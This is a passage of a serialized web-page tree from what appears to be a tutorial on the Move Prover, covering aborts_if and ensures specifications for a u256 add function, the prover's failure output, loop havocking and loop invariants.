,{"type":26,"value":548},{"type":21,"tag":22,"props":12705,"children":12706},{},[12707,12709,12716],{"type":26,"value":12708},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":21,"tag":29,"props":12710,"children":12713},{"href":12711,"rel":12712},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[33],[12714],{"type":26,"value":12715},"MSL function",{"type":26,"value":12717},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":21,"tag":22,"props":12719,"children":12720},{},[12721,12723,12728,12729,12734],{"type":26,"value":12722},"A common pattern for ",{"type":21,"tag":78,"props":12724,"children":12726},{"className":12725},[],[12727],{"type":26,"value":11051},{"type":26,"value":8232},{"type":21,"tag":78,"props":12730,"children":12732},{"className":12731},[],[12733],{"type":26,"value":11059},{"type":26,"value":12735},", which lets you prove that a function will never abort.",{"type":21,"tag":143,"props":12737,"children":12739},{"code":12738,"language":147,"meta":7,"className":145,"style":7},"spec critical_function {\n    aborts_if false;\n}\n",[12740],{"type":21,"tag":78,"props":12741,"children":12742},{"__ignoreMap":7},[12743,12759,12774],{"type":21,"tag":153,"props":12744,"children":12745},{"class":155,"line":156},[12746,12750,12755],{"type":21,"tag":153,"props":12747,"children":12748},{"style":192},[12749],{"type":26,"value":11001},{"type":21,"tag":153,"props":12751,"children":12752},{"style":192},[12753],{"type":26,"value":12754}," critical_function",{"type":21,"tag":153,"props":12756,"children":12757},{"style":160},[12758],{"type":26,"value":236},{"type":21,"tag":153,"props":12760,"children":12761},{"class":155,"line":166},[12762,12766,12770],{"type":21,"tag":153,"props":12763,"children":12764},{"style":192},[12765],{"type":26,"value":12623},{"type":21,"tag":153,"props":12767,"children":12768},{"style":170},[12769],{"type":26,"value":11782},{"type":21,"tag":153,"props":12771,"children":12772},{"style":160},[12773],{"type":26,"value":1759},{"type":21,"tag":153,"props":12775,"children":12776},{"class":155,"line":225},[12777],{"type":21,"tag":153,"props":12778,"children":12779},{"style":160},[12780],{"type":26,"value":548},{"type":21,"tag":22,"props":12782,"children":12783},{},[12784,12786,12792],{"type":26,"value":12785},"Another type of expression that we can use is ",{"type":21,"tag":78,"props":12787,"children":12789},{"className":12788},[],[12790],{"type":26,"value":12791},"ensures",{"type":26,"value":12793},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":21,"tag":22,"props":12795,"children":12796},{},[12797,12799,12804,12806,12811],{"type":26,"value":12798},"In the case of the ",{"type":21,"tag":78,"props":12800,"children":12802},{"className":12801},[],[12803],{"type":26,"value":12360},{"type":26,"value":12805}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":21,"tag":8055,"props":12807,"children":12808},{},[12809],{"type":26,"value":12810},"MSL uses unbounded numbers",{"type":26,"value":12812},", we're able to very cleanly express this property without worrying about overflows.",{"type":21,"tag":143,"props":12814,"children":12816},{"code":12815,"language":147,"meta":7,"className":145,"style":7},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[12817],{"type":21,"tag":78,"props":12818,"children":12819},{"__ignoreMap":7},[12820,12835,12914,12978],{"type":21,"tag":153,"props":12821,"children":12822},{"class":155,"line":156},[12823,12827,12831],{"type":21,"tag":153,"props":12824,"children":12825},{"style":192},[12826],{"type":26,"value":11001},{"type":21,"tag":153,"props":12828,"children":12829},{"style":192},[12830],{"type":26,"value":12303},{"type":21,"tag":153,"props":12832,"children":12833},{"style":160},[12834],{"type":26,"value":236},{"type":21,"tag":153,"props":12836,"children":12837},{"class":155,"line":166},[12838,12842,12846,12850,12854,12858,12862,12866,12870,12874,12878,12882,12886,12890,12894,12898,12902,12906,12910],{"type":21,"tag":153,"props":12839,"children":12840},{"style":192},[12841],{"type":26,"value":12623},{"type":21,"tag":153,"props":12843,"children":12844},{"style":181},[12845],{"type":26,"value":12425},{"type":21,"tag":153,"props":12847,"children":12848},{"style":160},[12849],{"type":26,"value":189},{"type":21,"tag":153,"props":12851,"children":12852},{"style":192},[12853],{"type":26,"value":29},{"type":21,"tag":153,"props":12855,"children":12856},{"style":160},[12857],{"type":26,"value":2362},{"type":21,"tag":153,"props":12859,"children":12860},{"style":198},[12861],{"type":26,"value":4099},{"type":21,"tag":153,"props":12863,"children":12864},{"style":181},[12865],{"type":26,"value":12425},{"type":21,"tag":153,"props":12867,"children":12868},{"style":160},[12869],{"type":26,"value":189},{"type":21,"tag":153,"props":12871,"children":12872},{"style":192},[12873],{"type":26,"value":5972},{"type":21,"tag":153,"props":12875,"children":12876},{"style":160},[12877],{"type":26,"value":2362},{"type":21,"tag":153,"props":12879,"children":12880},{"style":198},[12881],{"type":26,"value":12664},{"type":21,"tag":153,"props":12883,"children":12884},{"style":214},[12885],{"type":26,"value":12381},{"type":21,"tag":153,"props":12887,"children":12888},{"style":198},[12889],{"type":26,"value":5080},{"type":21,"tag":153,"props":12891,"children":12892},{"style":214},[12893],{"type":26,"value":12381},{"type":21,"tag":153,"props":12895,"children":12896},{"style":198},[12897],{"type":26,"value":5080},{"type":21,"tag":153,"props":12899,"children":12900},{"style":214},[12901],{"type":26,"value":12381},{"type":21,"tag":153,"props":12903,"children":12904},{"style":198},[12905],{"type":26,"value":5080},{"type":21,"tag":153,"props":12907,"children":12908},{"style":214},[12909],{"type":26,"value":12381},{"type":21,"tag":153,"props":12911,"children":12912},{"style":160},[12913],{"type":26,"value":1759},{"type":21,"tag":153,"props":12915,"children":12916},{"class":155,"line":225},[12917,12922,12926,12930,12934,12938,12942,12946,12950,12954,12958,12962,12966,12970,12974],{"type":21,"tag":153,"props":12918,"children":12919},{"style":192},[12920],{"type":26,"value":12921},"    ensures",{"type":21,"tag":153,"props":12923,"children":12924},{"style":181},[12925],{"type":26,"value":12425},{"type":21,"tag":153,"props":12927,"children":12928},{"style":160},[12929],{"type":26,"value":189},{"type":21,"tag":153,"props":12931,"children":12932},{"style":192},[12933],{"type":26,"value":11806},{"type":21,"tag":153,"props":12935,"children":12936},{"style":160},[12937],{"type":26,"value":2362},{"type":21,"tag":153,"props":12939,"children":12940},{"style":198},[12941],{"type":26,"value":1694},{"type":21,"tag":153,"props":12943,"children":12944},{"style":181},[12945],{"type":26,"value":12425},{"type":21,"tag":153,"props":12947,"children":12948},{"style":160},[12949],{"type":26,"value":189},{"type":21,"tag":153,"props":12951,"children":12952},{"style":192},[12953],{"type":26,"value":29},{"type":21,"tag":153,"props":12955,"children":12956},{"style":160},[12957],{"type":26,"value":2362},{"type":21,"tag":153,"props":12959,"children":12960},{"style":198},[12961],{"type":26,"value":4099},{"type":21,"tag":153,"props":12963,"children":12964},{"style":181},[12965],{"type":26,"value":12425},{"type":21,"tag":153,"props":12967,"children":12968},{"style":160},[12969],{"type":26,"value":189},{"type":21,"tag":153,"props":12971,"children":12972},{"style":192},[12973],{"type":26,"value":5972},{"type":21,"tag":153,"props":12975,"children":12976},{"style":160},[12977],{"type":26,"value":530},{"type":21,"tag":153,"props":12979,"children":12980},{"class":155,"line":239},[12981],{"type":21,"tag":153,"props":12982,"children":12983},{"style":160},[12984],{"type":26,"value":548},{"type":21,"tag":22,"props":12986,"children":12987},{},[12988],{"type":26,"value":12989},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":21,"tag":22,"props":12991,"children":12992},{},[12993],{"type":26,"value":12994},"Let's try to prove the library with the specifications from above:",{"type":21,"tag":143,"props":12996,"children":12998},{"code":12997,"language":6974,"meta":7,"className":6975,"style":7},"$ move prove\n",[12999],{"type":21,"tag":78,"props":13000,"children":13001},{"__ignoreMap":7},[13002],{"type":21,"tag":153,"props":13003,"children":13004},{"class":155,"line":156},[13005,13009,13014],{"type":21,"tag":153,"props":13006,"children":13007},{"style":181},[13008],{"type":26,"value":4421},{"type":21,"tag":153,"props":13010,"children":13011},{"style":671},[13012],{"type":26,"value":13013}," move",{"type":21,"tag":153,"props":13015,"children":13016},{"style":671},[13017],{"type":26,"value":13018}," prove\n",{"type":21,"tag":22,"props":13020,"children":13021},{},[13022],{"type":26,"value":13023},"It outputs the following error information:",{"type":21,"tag":143,"props":13025,"children":13027},{"code":13026,"language":6974,"meta":7,"className":6975,"style":7},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[13028],{"type":21,"tag":78,"props":13029,"children":13030},{"__ignoreMap":7},[13031,13039,13046,13108,13129,13219,13287,13299,13307,13314,13321,13328,13346,13407,13424,13441,13513,13529,13537,13544,13594,13602,13619],{"type":21,"tag":153,"props":13032,"children":13033},{"class":155,"line":156},[13034],{"type":21,"tag":153,"props":13035,"children":13036},{"style":160},[13037],{"type":26,"value":13038},"[...]\n",{"type":21,"tag":153,"props":13040,"children":13041},{"class":155,"line":166},[13042],{"type":21,"tag":153,"props":13043,"children":13044},{"emptyLinePlaceholder":16},[13045],{"type":26,"value":759},{"type":21,"tag":153,"props":13047,"children":13048},{"class":155,"line":225},[13049,13054,13059,13064,13069,13074,13079,13084,13089,13094,13098,13103],{"type":21,"tag":153,"props":13050,"children":13051},{"style":181},[13052],{"type":26,"value":13053},"error:",{"type":21,"tag":153,"props":13055,"children":13056},{"style":671},[13057],{"type":26,"value":13058}," abort",{"type":21,"tag":153,"props":13060,"children":13061},{"style":671},[13062],{"type":26,"value":13063}," not",{"type":21,"tag":153,"props":13065,"children":13066},{"style":671},[13067],{"type":26,"value":13068}," covered",{"type":21,"tag":153,"props":13070,"children":13071},{"style":671},[13072],{"type":26,"value":13073}," by",{"type":21,"tag":153,"props":13075,"children":13076},{"style":671},[13077],{"type":26,"value":13078}," any",{"type":21,"tag":153,"props":13080,"children":13081},{"style":671},[13082],{"type":26,"value":13083}," of",{"type":21,"tag":153,"props":13085,"children":13086},{"style":671},[13087],{"type":26,"value":13088}," the",{"type":21,"tag":153,"props":13090,"children":13091},{"style":671},[13092],{"type":26,"value":13093}," `",{"type":21,"tag":153,"props":13095,"children":13096},{"style":181},[13097],{"type":26,"value":11051},{"type":21,"tag":153,"props":13099,"children":13100},{"style":671},[13101],{"type":26,"value":13102},"`",{"type":21,"tag":153,"props":13104,"children":13105},{"style":181},[13106],{"type":26,"value":13107}," clauses\n",{"type":21,"tag":153,"props":13109,"children":13110},{"class":155,"line":239},[13111,13116,13121,13125],{"type":21,"tag":153,"props":13112,"children":13113},{"style":181},[13114],{"type":26,"value":13115},"╭",{"type":21,"tag":153,"props":13117,"children":13118},{"style":671},[13119],{"type":26,"value":13120},"     spec",{"type":21,"tag":153,"props":13122,"children":13123},{"style":671},[13124],{"type":26,"value":12303},{"type":21,"tag":153,"props":13126,"children":13127},{"style":671},[13128],{"type":26,"value":236},{"type":21,"tag":153,"props":13130,"children":13131},{"class":155,"line":382},[13132,13137,13142,13146,13150,13154,13158,13162,13166,13170,13174,13178,13183,13187,13191,13195,13199,13203,13207,13211,13215],{"type":21,"tag":153,"props":13133,"children":13134},{"style":198},[13135],{"type":26,"value":13136},"|",{"type":21,"tag":153,"props":13138,"children":13139},{"style":181},[13140],{"type":26,"value":13141},"         aborts_if",{"type":21,"tag":153,"props":13143,"children":13144},{"style":671},[13145],{"type":26,"value":12425},{"type":21,"tag":153,"props":13147,"children":13148},{"style":160},[13149],{"type":26,"value":189},{"type":21,"tag":153,"props":13151,"children":13152},{"style":181},[13153],{"type":26,"value":29},{"type":21,"tag":153,"props":13155,"children":13156},{"style":160},[13157],{"type":26,"value":2362},{"type":21,"tag":153,"props":13159,"children":13160},{"style":671},[13161],{"type":26,"value":4099},{"type":21,"tag":153,"props":13163,"children":13164},{"style":671},[13165],{"type":26,"value":12425},{"type":21,"tag":153,"props":13167,"children":13168},{"style":160},[13169],{"type":26,"value":189},{"type":21,"tag":153,"props":13171,"children":13172},{"style":181},[13173],{"type":26,"value":5972},{"type":21,"tag":153,"props":13175,"children":13176},{"style":160},[13177],{"type":26,"value":2362},{"type":21,"tag":153,"props":13179,"children":13180},{"style":198},[13181],{"type":26,"value":13182},">",{"type":21,"tag":153,"props":13184,"children":13185},{"style":671},[13186],{"type":26,"value":2367},{"type":21,"tag":153,"props":13188,"children":13189},{"style":671},[13190],{"type":26,"value":12381},{"type":21,"tag":153,"props":13192,"children":13193},{"style":170},[13194],{"type":26,"value":5080},{"type":21,"tag":153,"props":13196,"children":13197},{"style":671},[13198],{"type":26,"value":12381},{"type":21,"tag":153,"props":13200,"children":13201},{"style":170},[13202],{"type":26,"value":5080},{"type":21,"tag":153,"props":13204,"children":13205},{"style":671},[13206],{"type":26,"value":12381},{"type":21,"tag":153,"props":13208,"children":13209},{"style":170},[13210],{"type":26,"value":5080},{"type":21,"tag":153,"props":13212,"children":13213},{"style":671},[13214],{"type":26,"value":12381},{"type":21,"tag":153,"props":13216,"children":13217},{"style":160},[13218],{"type":26,"value":1759},{"type":21,"tag":153,"props":13220,"children":13221},{"class":155,"line":501},[13222,13226,13231,13235,13239,13243,13247,13251,13255,13259,13263,13267,13271,13275,13279,13283],{"type":21,"tag":153,"props":13223,"children":13224},{"style":198},[13225],{"type":26,"value":13136},{"type":21,"tag":153,"props":13227,"children":13228},{"style":181},[13229],{"type":26,"value":13230},"         ensures",{"type":21,"tag":153,"props":13232,"children":13233},{"style":671},[13234],{"type":26,"value":12425},{"type":21,"tag":153,"props":13236,"children":13237},{"style":160},[13238],{"type":26,"value":189},{"type":21,"tag":153,"props":13240,"children":13241},{"style":181},[13242],{"type":26,"value":11806},{"type":21,"tag":153,"props":13244,"children":13245},{"style":160},[13246],{"type":26,"value":2362},{"type":21,"tag":153,"props":13248,"children":13249},{"style":671},[13250],{"type":26,"value":1694},{"type":21,"tag":153,"props":13252,"children":13253},{"style":671},[13254],{"type":26,"value":12425},{"type":21,"tag":153,"props":13256,"children":13257},{"style":160},[13258],{"type":26,"value":189},{"type":21,"tag":153,"props":13260,"children":13261},{"style":181},[13262],{"type":26,"value":29},{"type":21,"tag":153,"props":13264,"children":13265},{"style":160},[13266],{"type":26,"value":2362},{"type":21,"tag":153,"props":13268,"children":13269},{"style":671},[13270],{"type":26,"value":4099},{"type":21,"tag":153,"props":13272,"children":13273},{"style":671},[13274],{"type":26,"value":12425},{"type":21,"tag":153,"props":13276,"children":13277},{"style":160},[13278],{"type":26,"value":189},{"type":21,"tag":153,"props":13280,"children":13281},{"style":181},[13282],{"type":26,"value":5972},{"type":21,"tag":153,"props":13284,"children":13285},{"style":160},[13286],{"type":26,"value":530},{"type":21,"tag":153,"props":13288,"children":13289},{"class":155,"line":533},[13290,13294],{"type":21,"tag":153,"props":13291,"children":13292},{"style":198},[13293],{"type":26,"value":13136},{"type":21,"tag":153,"props":13295,"children":13296},{"style":160},[13297],{"type":26,"value":13298},"     }\n",{"type":21,"tag":153,"props":13300,"children":13301},{"class":155,"line":542},[13302],{"type":21,"tag":153,"props":13303,"children":13304},{"style":181},[13305],{"type":26,"value":13306},"╰─────^\n",{"type":21,"tag":153,"props":13308,"children":13309},{"class":155,"line":762},[13310],{"type":21,"tag":153,"props":13311,"children":13312},{"emptyLinePlaceholder":16},[13313],{"type":26,"value":759},{"type":21,"tag":153,"props":13315,"children":13316},{"class":155,"line":776},[13317],{"type":21,"tag":153,"props":13318,"children":13319},{"style":160},[13320],{"type":26,"value":13038},{"type":21,"tag":153,"props":13322,"children":13323},{"class":155,"line":795},[13324],{"type":21,"tag":153,"props":13325,"children":13326},{"emptyLinePlaceholder":16},[13327],{"type":26,"value":759},{"type":21,"tag":153,"props":13329,"children":13330},{"class":155,"line":808},[13331,13336,13341],{"type":21,"tag":153,"props":13332,"children":13333},{"style":181},[13334],{"type":26,"value":13335}," at",{"type":21,"tag":153,"props":13337,"children":13338},{"style":671},[13339],{"type":26,"value":13340}," ./sources/u256.move:316:",{"type":21,"tag":153,"props":13342,"children":13343},{"style":671},[13344],{"type":26,"value":13345}," add\n",{"type":21,"tag":153,"props":13347,"children":13348},{"class":155,"line":820},[13349,13354,13359,13364,13368,13373,13377,13382,13387,13392,13397,13402],{"type":21,"tag":153,"props":13350,"children":13351},{"style":181},[13352],{"type":26,"value":13353}," enter",{"type":21,"tag":153,"props":13355,"children":13356},{"style":671},[13357],{"type":26,"value":13358}," loop,",{"type":21,"tag":153,"props":13360,"children":13361},{"style":671},[13362],{"type":26,"value":13363}," variable",{"type":21,"tag":153,"props":13365,"children":13366},{"style":160},[13367],{"type":26,"value":189},{"type":21,"tag":153,"props":13369,"children":13370},{"style":181},[13371],{"type":26,"value":13372},"s",{"type":21,"tag":153,"props":13374,"children":13375},{"style":160},[13376],{"type":26,"value":2362},{"type":21,"tag":153,"props":13378,"children":13379},{"style":671},[13380],{"type":26,"value":13381},"carry,",{"type":21,"tag":153,"props":13383,"children":13384},{"style":671},[13385],{"type":26,"value":13386}," i,",{"type":21,"tag":153,"props":13388,"children":13389},{"style":671},[13390],{"type":26,"value":13391}," ret",{"type":21,"tag":153,"props":13393,"children":13394},{"style":671},[13395],{"type":26,"value":13396}," havocked",{"type":21,"tag":153,"props":13398,"children":13399},{"style":671},[13400],{"type":26,"value":13401}," and",{"type":21,"tag":153,"props":13403,"children":13404},{"style":671},[13405],{"type":26,"value":13406}," reassigned\n",{"type":21,"tag":153,"props":13408,"children":13409},{"class":155,"line":842},[13410,13415,13419],{"type":21,"tag":153,"props":13411,"children":13412},{"style":181},[13413],{"type":26,"value":13414},"     carry",{"type":21,"tag":153,"props":13416,"children":13417},{"style":671},[13418],{"type":26,"value":255},{"type":21,"tag":153,"props":13420,"children":13421},{"style":300},[13422],{"type":26,"value":13423}," 54\n",{"type":21,"tag":153,"props":13425,"children":13426},{"class":155,"line":3204},[13427,13432,13436],{"type":21,"tag":153,"props":13428,"children":13429},{"style":181},[13430],{"type":26,"value":13431},"     i",{"type":21,"tag":153,"props":13433,"children":13434},{"style":671},[13435],{"type":26,"value":255},{"type":21,"tag":153,"props":13437,"children":13438},{"style":300},[13439],{"type":26,"value":13440}," 3792\n",{"type":21,"tag":153,"props":13442,"children":13443},{"class":155,"line":3230},[13444,13449,13453,13458,13462,13467,13472,13476,13481,13486,13490,13495,13500,13504,13509],{"type":21,"tag":153,"props":13445,"children":13446},{"style":181},[13447],{"type":26,"value":13448},"     ret",{"type":21,"tag":153,"props":13450,"children":13451},{"style":671},[13452],{"type":26,"value":255},{"type":21,"tag":153,"props":13454,"children":13455},{"style":671},[13456],{"type":26,"value":13457}," u256.U256{v0",{"type":21,"tag":153,"props":13459,"children":13460},{"style":671},[13461],{"type":26,"value":255},{"type":21,"tag":153,"props":13463,"children":13464},{"style":671},[13465],{"type":26,"value":13466}," 26418,",{"type":21,"tag":153,"props":13468,"children":13469},{"style":671},[13470],{"type":26,"value":13471}," v1",{"type":21,"tag":153,"props":13473,"children":13474},{"style":671},[13475],{"type":26,"value":255},{"type":21,"tag":153,"props":13477,"children":13478},{"style":671},[13479],{"type":26,"value":13480}," 27938,",{"type":21,"tag":153,"props":13482,"children":13483},{"style":671},[13484],{"type":26,"value":13485}," v2",{"type":21,"tag":153,"props":13487,"children":13488},{"style":671},[13489],{"type":26,"value":255},{"type":21,"tag":153,"props":13491,"children":13492},{"style":671},[13493],{"type":26,"value":13494}," 6900,",{"type":21,"tag":153,"props":13496,"children":13497},{"style":671},[13498],{"type":26,"value":13499}," v3",{"type":21,"tag":153,"props":13501,"children":13502},{"style":671},[13503],{"type":26,"value":255},{"type":21,"tag":153,"props":13505,"children":13506},{"style":300},[13507],{"type":26,"value":13508}," 1999",{"type":21,"tag":153,"props":13510,"children":13511},{"style":671},[13512],{"type":26,"value":548},{"type":21,"tag":153,"props":13514,"children":13515},{"class":155,"line":3239},[13516,13520,13525],{"type":21,"tag":153,"props":13517,"children":13518},{"style":181},[13519],{"type":26,"value":13335},{"type":21,"tag":153,"props":13521,"children":13522},{"style":671},[13523],{"type":26,"value":13524}," ./sources/u256.move:346:",{"type":21,"tag":153,"props":13526,"children":13527},{"style":671},[13528],{"type":26,"value":13345},{"type":21,"tag":153,"props":13530,"children":13531},{"class":155,"line":3253},[13532],{"type":21,"tag":153,"props":13533,"children":13534},{"style":181},[13535],{"type":26,"value":13536},"     ABORTED\n",{"type":21,"tag":153,"props":13538,"children":13539},{"class":155,"line":3301},[13540],{"type":21,"tag":153,"props":13541,"children":13542},{"emptyLinePlaceholder":16},[13543],{"type":26,"value":759},{"type":21,"tag":153,"props":13545,"children":13546},{"class":155,"line":3346},[13547,13552,13557,13561,13566,13571,13576,13580,13585,13589],{"type":21,"tag":153,"props":13548,"children":13549},{"style":181},[13550],{"type":26,"value":13551},"FAILURE",{"type":21,"tag":153,"props":13553,"children":13554},{"style":671},[13555],{"type":26,"value":13556}," proving",{"type":21,"tag":153,"props":13558,"children":13559},{"style":300},[13560],{"type":26,"value":7253},{"type":21,"tag":153,"props":13562,"children":13563},{"style":671},[13564],{"type":26,"value":13565}," modules",{"type":21,"tag":153,"props":13567,"children":13568},{"style":671},[13569],{"type":26,"value":13570}," from",{"type":21,"tag":153,"props":13572,"children":13573},{"style":671},[13574],{"type":26,"value":13575}," package",{"type":21,"tag":153,"props":13577,"children":13578},{"style":671},[13579],{"type":26,"value":13093},{"type":21,"tag":153,"props":13581,"children":13582},{"style":181},[13583],{"type":26,"value":13584},"u256",{"type":21,"tag":153,"props":13586,"children":13587},{"style":671},[13588],{"type":26,"value":13102},{"type":21,"tag":153,"props":13590,"children":13591},{"style":160},[13592],{"type":26,"value":13593}," in 9.143s\n",{"type":21,"tag":153,"props":13595,"children":13596},{"class":155,"line":3355},[13597],{"type":21,"tag":153,"props":13598,"children":13599},{"style":160},[13600],{"type":26,"value":13601},"{\n",{"type":21,"tag":153,"props":13603,"children":13604},{"class":155,"line":3364},[13605,13610,13614],{"type":21,"tag":153,"props":13606,"children":13607},{"style":181},[13608],{"type":26,"value":13609},"    \"Error\"",{"type":21,"tag":153,"props":13611,"children":13612},{"style":181},[13613],{"type":26,"value":201},{"type":21,"tag":153,"props":13615,"children":13616},{"style":671},[13617],{"type":26,"value":13618}," \"Move Prover failed: exiting with verification errors\"\n",{"type":21,"tag":153,"props":13620,"children":13621},{"class":155,"line":3376},[13622],{"type":21,"tag":153,"props":13623,"children":13624},{"style":160},[13625],{"type":26,"value":548},{"type":21,"tag":22,"props":13627,"children":13628},{},[13629,13631,13636],{"type":26,"value":13630},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":21,"tag":78,"props":13632,"children":13634},{"className":13633},[],[13635],{"type":26,"value":11051},{"type":26,"value":13637}," clauses. But there is no other abort situation that we have to cover, right?",{"type":21,"tag":22,"props":13639,"children":13640},{},[13641,13643,13649],{"type":26,"value":13642},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":21,"tag":78,"props":13644,"children":13646},{"className":13645},[],[13647],{"type":26,"value":13648},"ret havocked and reassigned",{"type":26,"value":355},{"type":21,"tag":22,"props":13651,"children":13652},{},[13653],{"type":26,"value":13654},"What does this mean?",{"type":21,"tag":22,"props":13656,"children":13657},{},[13658,13660,13667],{"type":26,"value":13659},"By diving into the Move Prover source, we find a ",{"type":21,"tag":29,"props":13661,"children":13664},{"href":13662,"rel":13663},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[33],[13665],{"type":26,"value":13666},"likely suspect",{"type":26,"value":13668},". The prover attempts to prove all loops with induction!",{"type":21,"tag":22,"props":13670,"children":13671},{},[13672],{"type":26,"value":13673},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":21,"tag":126,"props":13675,"children":13676},{},[13677,13682],{"type":21,"tag":91,"props":13678,"children":13679},{},[13680],{"type":26,"value":13681},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":21,"tag":91,"props":13683,"children":13684},{},[13685],{"type":26,"value":13686},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":21,"tag":22,"props":13688,"children":13689},{},[13690,13692,13697,13699,13705,13706,13712,13713,13718,13720,13725],{"type":26,"value":13691},"The loop prover will also ",{"type":21,"tag":8055,"props":13693,"children":13694},{},[13695],{"type":26,"value":13696},"havoc, or assign random values to, all variables written to inside the loop",{"type":26,"value":13698},". Going back to the log message, this implies that the variables ",{"type":21,"tag":78,"props":13700,"children":13702},{"className":13701},[],[13703],{"type":26,"value":13704},"carry",{"type":26,"value":1670},{"type":21,"tag":78,"props":13707,"children":13709},{"className":13708},[],[13710],{"type":26,"value":13711},"ret",{"type":26,"value":52},{"type":21,"tag":78,"props":13714,"children":13716},{"className":13715},[],[13717],{"type":26,"value":6471},{"type":26,"value":13719}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":21,"tag":78,"props":13721,"children":13723},{"className":13722},[],[13724],{"type":26,"value":12360},{"type":26,"value":13726}," makes no sense.",{"type":21,"tag":22,"props":13728,"children":13729},{},[13730],{"type":26,"value":13731},"More concretely, the loop analysis translates into the following steps.",{"type":21,"tag":126,"props":13733,"children":13734},{},[13735,13740,13745,13750,13755,13760],{"type":21,"tag":91,"props":13736,"children":13737},{},[13738],{"type":26,"value":13739},"Assert the loop invariant",{"type":21,"tag":91,"props":13741,"children":13742},{},[13743],{"type":26,"value":13744},"Havoc all modified variables",{"type":21,"tag":91,"props":13746,"children":13747},{},[13748],{"type":26,"value":13749},"Assume the loop invariant",{"type":21,"tag":91,"props":13751,"children":13752},{},[13753],{"type":26,"value":13754},"Assume the loop guard (the code inside the while condition)",{"type":21,"tag":91,"props":13756,"children":13757},{},[13758],{"type":26,"value":13759},"Run the loop body",{"type":21,"tag":91,"props":13761,"children":13762},{},[13763],{"type":26,"value":13739},{"type":21,"tag":22,"props":13765,"children":13766},{},[13767],{"type":26,"value":13768},"There are two approaches to dealing with loops.",{"type":21,"tag":22,"props":13770,"children":13771},{},[13772],{"type":26,"value":13773},"The first would be to specify a loop invariant.",{"type":21,"tag":22,"props":13775,"children":13776},{},[13777,13779,13786],{"type":26,"value":13778},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":21,"tag":29,"props":13780,"children":13783},{"href":13781,"rel":13782},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[33],[13784],{"type":26,"value":13785},"previous post",{"type":26,"value":355},{"type":21,"tag":143,"props":13788,"children":13790},{"code":13789,"language":147,"meta":7,"className":145,"style":7},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[13791],{"type":21,"tag":78,"props":13792,"children":13793},{"__ignoreMap":7},[13794,13806,13817,13853,13876,13959,13966,13990,13998,14018,14038,14129,14136,14164],{"type":21,"tag":153,"props":13795,"children":13796},{"class":155,"line":156},[13797,13802],{"type":21,"tag":153,"props":13798,"children":13799},{"style":1751},[13800],{"type":26,"value":13801},"  while",{"type":21,"tag":153,"props":13803,"children":13804},{"style":160},[13805],{"type":26,"value":11259},{"type":21,"tag":153,"props":13807,"children":13808},{"class":155,"line":166},[13809,13813],{"type":21,"tag":153,"props":13810,"children":13811},{"style":192},[13812],{"type":26,"value":11653},{"type":21,"tag":153,"props":13814,"children":13815},{"style":160},[13816],{"type":26,"value":236},{"type":21,"tag":153,"props":13818,"children":13819},{"class":155,"line":225},[13820,13825,13829,13833,13837,13841,13845,13849],{"type":21,"tag":153,"props":13821,"children":13822},{"style":192},[13823],{"type":26,"value":13824},"          invariant",{"type":21,"tag":153,"props":13826,"children":13827},{"style":181},[13828],{"type":26,"value":11284},{"type":21,"tag":153,"props":13830,"children":13831},{"style":160},[13832],{"type":26,"value":189},{"type":21,"tag":153,"props":13834,"children":13835},{"style":192},[13836],{"type":26,"value":11293},{"type":21,"tag":153,"props":13838,"children":13839},{"style":160},[13840],{"type":26,"value":2362},{"type":21,"tag":153,"props":13842,"children":13843},{"style":198},[13844],{"type":26,"value":1694},{"type":21,"tag":153,"props":13846,"children":13847},{"style":192},[13848],{"type":26,"value":6143},{"type":21,"tag":153,"props":13850,"children":13851},{"style":160},[13852],{"type":26,"value":1759},{"type":21,"tag":153,"props":13854,"children":13855},{"class":155,"line":239},[13856,13860,13864,13868,13872],{"type":21,"tag":153,"props":13857,"children":13858},{"style":192},[13859],{"type":26,"value":13824},{"type":21,"tag":153,"props":13861,"children":13862},{"style":192},[13863],{"type":26,"value":6143},{"type":21,"tag":153,"props":13865,"children":13866},{"style":198},[13867],{"type":26,"value":10923},{"type":21,"tag":153,"props":13869,"children":13870},{"style":192},[13871],{"type":26,"value":11213},{"type":21,"tag":153,"props":13873,"children":13874},{"style":160},[13875],{"type":26,"value":1759},{"type":21,"tag":153,"props":13877,"children":13878},{"class":155,"line":382},[13879,13883,13887,13891,13895,13899,13903,13907,13911,13915,13919,13923